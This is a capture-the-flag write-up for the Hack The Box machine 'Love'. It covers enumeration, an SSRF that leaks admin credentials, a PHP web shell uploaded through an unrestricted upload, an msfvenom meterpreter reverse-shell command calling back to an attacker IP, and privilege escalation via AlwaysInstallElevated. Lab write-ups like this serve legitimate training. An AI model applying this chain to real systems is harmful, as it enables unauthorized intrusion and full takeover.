**Enumeration**

Love.htb 10.10.10.239

Nmap scan show multi ports open and shows host name/staging name.

Text

Description automatically generated

Add those to our host file.

Next we will dirsearch the site…. The results.

Graphical user interface, text

Description automatically generated

Visiting the webpage we get a login for a voting system.

Graphical user interface, application

Description automatically generated

The staging website is a free file scanner.

Graphical user interface, application

Description automatically generated

I tried to scan the local host port 80 and nothing was displayed, but scanning localhost:5000 displays admin login.

Graphical user interface

Description automatically generated

Vote Admin Creds admin: @LoveIsInTheAir!!!!

**Foothold**

Using these credentials, we can get into love.htb voting system.

Looking around I can add a voter and upload a “photo”. There is no restrictions on which files can be uploaded so Ill upload a shell.php.

Graphical user interface, application

Description automatically generated

After going to the shell file we can use cmd to test if its working.

Graphical user interface, text

Description automatically generated

msfvenom -p windows/meterpreter/reverse\_tcp lport=4444 lhost=10.10.16.6 -f exe -o shell.exe

Do back and create another new user and upload shell.exe

start msfconsole use exploit/multi/handler and enter in info for lhost and port. Run handler. Then go back to site and enter cmd=start shell.exe.

Should get meterpreter session

Graphical user interface, text

Description automatically generated

After getting user.txt. box has AlwaysInstallElevated enable on it.

Background the session

Escalate Privs

Text

Description automatically generated

Should now be admin, cat root.txt

https://app.hackthebox.eu/profile/280458